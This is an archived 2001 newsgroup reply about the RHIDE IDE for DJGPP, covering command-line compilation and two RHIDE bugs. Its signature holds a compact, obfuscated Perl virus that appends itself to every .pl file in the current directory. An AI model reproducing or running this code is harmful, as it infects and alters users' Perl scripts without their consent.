From: rpolzer AT web DOT de (Rudolf Polzer)
Newsgroups: comp.os.msdos.djgpp
Subject: Re: Advantages/Disadvantages of RHIDE
References: <3AA2763B DOT 96DA12BF AT home DOT com>
X-newsgroup: comp.os.msdos.djgpp
X-Mailer: GehtDichNenScheissdreckAn 1.0
User-Agent: GehtDichNenScheissdreckAn 1.0
Message-ID: <slrn9a5686.7do.rpolzer@rebounce.rpolzer-lx>
User-Agent: slrn/0.9.6.2 (Linux)
Date: Sun, 4 Mar 2001 20:35:34 +0100
Lines: 23
NNTP-Posting-Host: 213.7.26.89
X-Trace: 983734279 news.freenet.de 19273 213.7.26.89
X-Complaints-To: abuse AT freenet DOT de
To: djgpp AT delorie DOT com
DJ-Gateway: from newsgroup comp.os.msdos.djgpp
Reply-To: djgpp AT delorie DOT com

Paul Michailidis <paulm14 AT home DOT com> schrieb Folgendes:
> Just as the subject states? Is there any downfalls to rhide? I
> personally like the gui cause it resembles the borland compiler gui I
> used to work with. I actually have the same problem as "xavier", it says
> "allegro.h": no such file or directory and i included "alleg" in the
> check box as well. Apparantly I now have to create some batch files
> before running rhide to ensure rhide works correctly. If I didn't use
> rhide and used command line compilation instead,would I need to do all
> that extra stuff?

Normally not. But maybe... just try it!

The RHIDE version included in DJGPP has two serious bugs:
1. sometimes it crashes when analyzing stack traces; it does not check
   before if the addresses are readable.
2. it thinks "instiantiated from here" is an error so it cannot compile
   some projects with warnings enabled.

-- 
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################